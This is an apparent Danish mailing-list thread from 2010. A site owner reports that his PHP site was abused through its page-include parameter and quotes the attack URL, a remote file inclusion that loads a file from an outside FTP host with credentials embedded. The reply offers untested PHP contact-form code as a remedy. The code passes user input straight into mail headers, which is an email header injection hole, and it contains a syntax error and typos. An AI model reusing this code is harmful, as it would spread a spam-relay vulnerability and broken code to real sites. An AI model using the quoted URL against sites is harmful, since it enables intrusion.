Jeg gør det at jeg viser den samme side igen men med et andet resultat.
if(isset($_POST["funktion"]) && $_POST["funktion"] == "kontakt"){
$til = 'dig@her.der';
$emne = 'besked fra hjemmeside';
$fra = $_POST["from"];
$besked = $_POST["kommentar"];
$headers = "From: $fra <$fra>\r\n";
if(mail($til, $emne, $besked, $headers)){
$indhold .= 'beskden blev sendt.';
}else{
$indhold .= 'beskeden blev ikke sendt.';
}
}else{
$indhold .= '<form action="$_SERVER['PHP_SELF']">';
$indhold .= '<input type="hidden" name="funktion" value="kontakt"/>';
$indhold .= '<input type="text" name="from"/>';
$indhold .= '<input type="text" name="kommentar"/>';
$indhold .= '<input type="sumbit" value="send"/>';
$indhold .= '</form>';
}
Jeg har ikke testet koden men håber du kan bruge den.
Den 31-10-2010 15:38, Sonni Jensen skrev:
> Jeg har fået misbrugt siden, og skal nu prøve at få dæmmet op for
> det.
>
>
http://nv.mela9e.dk (dette er test, produktion på
>
www.nordiskvabene.dk er blevet lukket ned)
>
> Jeg benytter en side opbygning, hvor jeg laver en mailframe.php
> og så kalder en side, så det kommer til at se sådan ud
>
>
http://nv.mela9e.dk/mainframe.php?side=velkommen.php
>
> Problemet er så at den er blevet misbrugt og udbyderen har lukket
> siden indtil det er rettet. Misbruget ligger så i at der er
> blevet sendt en kommando i adresse linien:
>
> "
http://www.nordiskvabene.dk/mainframe.php?side=ftp://imperial201
> 0:muitofdp@ftp.webcindario.com/Envia.txt?"
>
> Hvad kan man gøre for ikke at kalde en side i linien, så dette
> kan ske? hvordan opbygger i jeres?
>